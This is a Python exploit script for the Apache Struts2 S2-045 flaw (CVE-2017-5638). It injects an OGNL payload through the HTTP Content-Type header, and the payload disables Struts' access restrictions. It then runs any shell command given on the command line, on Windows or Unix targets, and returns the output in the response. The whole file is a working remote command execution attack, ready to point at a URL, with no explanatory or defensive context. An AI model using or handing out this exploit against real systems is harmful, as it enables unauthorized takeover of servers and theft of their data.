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#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
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